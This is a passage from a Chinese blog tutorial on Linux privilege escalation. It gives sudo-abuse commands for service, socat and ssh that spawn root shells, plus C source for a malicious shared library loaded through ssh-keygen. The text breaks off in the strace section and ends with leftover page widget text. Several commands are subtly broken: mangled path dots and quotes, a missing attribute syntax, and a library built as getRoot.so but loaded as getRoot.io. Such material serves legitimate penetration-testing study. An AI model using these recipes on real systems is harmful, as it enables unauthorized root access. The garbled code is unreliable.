渗透测试:Linux提权精讲(四,2024年最新看完这一篇你就懂了

本文详细介绍了多种Linux提权方法,包括sudo socat、sudo ssh、sudo ssh-keygen、sudo strace、sudo systemctl、sudo tcpdump、sudo tee、sudo timedatectl、sudo tmux和sudo vi的提权技巧。通过利用sudo权限,结合系统工具的特殊功能,可以实现Linux系统的权限升级。此外,还推荐了黑客学习资源和网络安全相关的书籍、文档、视频和工具,助力安全学习和研究。
摘要由CSDN通过智能技术生成

运行如下命令即可提权:

sudo service …/…/bin/bash

本质上就是利用service的高权限启动bash的服务,需要注意的是两个…/ ,由于service启动服务并不是通过相对路径或绝对路径,返回上两级目录才能保证service的搜索范围内能够找到bash。

sudo socat

利用前提

当前用户可以以sudo高级权限运行socat,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/socat

利用详情可见socat | GTFOBins,socat是一个多功能的网络工具,可以用来建立双向的数据传输通道。

操作方式

运行如下命令即可提权:

sudo socat stdin exec:/bin/bash

socat可以通过stdin参数作为标准输入来执行命令,此处执行启动bash的命令,其中exec:/bin/bash这种格式是socat的语法。

sudo ssh

利用前提

当前用户可以以sudo高级权限运行ssh,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/ssh

利用详情可见ssh | GTFOBins ,ssh是渗透过程中非常常见的远程登录突破口。

操作方式

运行如下命令即可提权:

sudo ssh -o ProxyCommand=‘;bash 0<&2 1>&2’ x

ssh中的参选项ProxyCommand表示用一个代理服务器连接到远程主机,是在进行ssh操作之前就执行的命令,此处正是利用这个机制进行提权。-o表示option,引出ProxyCommand,';bash 0<&2 1>&2’是核心的提权逻辑,启动bash后对输入输出进行了重定向,但如果仅仅这样写(不加分号的话),引号中的内容会作为ssh的通道,完成代理服务,此时在ssh进行密钥交换的时候会无法与主机通信导致错误。分号就是起了这样的作用,分号的前面隐含了一个空语句,空语句一定能执行成功,只有分号前面的语句执行成功时后面的提权命令才会执行,这是bash的逻辑。最后的x就表示要连接的主机,随便写个啥都行,只要参数不空即可。说的有点绕,我自己也没完全理解清楚,回头再查一查。

sudo ssh-keygen

利用前提

当前用户可以以sudo高级权限运行ssh-keygen,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/ssh-keygen

利用详情可见ssh keygen | GTFOBins

操作方式

ssh-keygen有选项-D,用来指定动态链接库,在ssh-keygen执行的时候加载和使用,我们可以在动态链接库中添加提权逻辑。构造一个文件,写入提权逻辑,并按照动态链接库的方式进行编译。首先将提权逻辑写成一个动态链接库,我们可以直接vim getRoot.c 。内容如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

//指定静态无返回值的函数,设置属性constructor
static void inject()attribute((constructor));

void inject(){
//设定uid为0,即root
setuid(0);
system(“/bin/bash -p”);
}

对此.c文件进行编译,使用共享库的编译方式,输出.so文件:

gcc -shared -fPIC -o getRoot.so getRoot.c

此时通过-D参数利用共享库文件getRoot.so即可提权:

sudo ssh-keygen -D ./getRoot.io

注意此时getRoot.io必须给出路径,否则会找不到共享库文件,因为默认情况寻找共享库会在环境变量LD_LIBRARY_PATH寻找共享库,而环境变量中并没有我们编写的这个共享库文件。

sudo strace

利用前提

当前用户可以以sudo高级权限运行strace,即运行sudo -l后会有如下的行:

(root) NOPASSWD: /usr/bin/strace

利用详情可见strace | GTFOBins,strac

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值